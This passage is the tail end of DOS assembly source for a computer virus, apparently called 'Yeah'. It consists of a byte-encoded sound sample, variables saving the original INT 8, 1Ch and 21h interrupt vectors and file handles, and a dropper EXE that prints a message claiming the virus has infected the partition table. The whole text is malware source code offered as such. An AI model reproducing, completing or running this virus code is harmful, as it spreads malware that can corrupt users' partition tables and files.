db 001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h
db 027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h
db 04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h
db 002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh
db 0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h
db 046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh
db 0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h
db 081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h
db 07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h
db 049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h
db 082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h
db 0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h
db 06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh
db 0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h
db 064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h
db 0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h
db 065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h
db 0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h
db 0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh
db 017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h
db 0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch
db 0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h
db 03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh
db 026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh
db 024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h
db 08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h
db 0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h
db 03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh
db 074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h
db 082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h
db 0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h
db 022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h
db 060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h
db 0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch
db 0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h
db 034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh
db 00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h
db 04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh
db 00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h
db 081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h
db 0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch
db 0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h
db 0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch
db 01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h
db 0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h
db 070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch
db 01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh
db 00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h
db 0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h
db 0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h
db 070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch
db 073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh
db 08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h
db 028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h
db 081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h
db 0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh
db 070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh
db 00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch
db 09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh
db 087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h
db 0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h
db 038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh
db 00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h
db 0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h
db 0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h
db 0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h
db 0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch
db 04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h
db 087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh
db 093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h
db 0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h
db 0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh ; ,038h
SampleEnd equ this byte
;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------
Active db -1
ActiveYear dw -1
ActiveDate dw -1
OldInt8 equ this dword ; orginal interrupt 8
OldInt8o dw -1
OldInt8s dw -1
OldInt1C equ this dword ; orginal interrupt 1ch
OldInt1Co dw -1
OldInt1Cs dw -1
OldInt21 equ this dword ; orginal interrupt 21h
OldInt21o dw -1
OldInt21s dw -1
Count dw -1 ; timer count
SampleOffset dw -1 ; Used to make sound
SampleBit db -1
SampleFlag db -1
Handle dw 8 dup(-1) ; Filehandles
cseg ends
;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------
mseg segment public 'code'
assume cs:mseg, ds:mseg, es:mseg
db 'MZ' ; header
dw PrgSize ; PartPage
dw 1 ; PageCount
dw 0 ; relocation items = 0
dw 0 ; headersize = 0h
dw 80h ; minimum memory
dw 0ffffh ; maximum memory
dw (PrgSize+15)/10h ; ss
dw 7feh ; sp
dw 0 ; chksum
dw offset Orginal ; ip
dw 0 ; cs
dw 1ch ; offset relocation table
dw 0 ; overlay number
Orginal: mov ah,9 ; display warning
push cs
pop ds
mov dx,offset Warning
int 21h
mov ax,4c00h
int 21h ; terminate
Warning db 13,10
db 'WARNING:',13,10
db 13,10
db 'Yeah virus has now infected the partition table !!!!!',13,10
db 13,10
db '$'
mseg ends
sseg segment stack 'stack'
db 800h dup(?)
sseg ends
end Main

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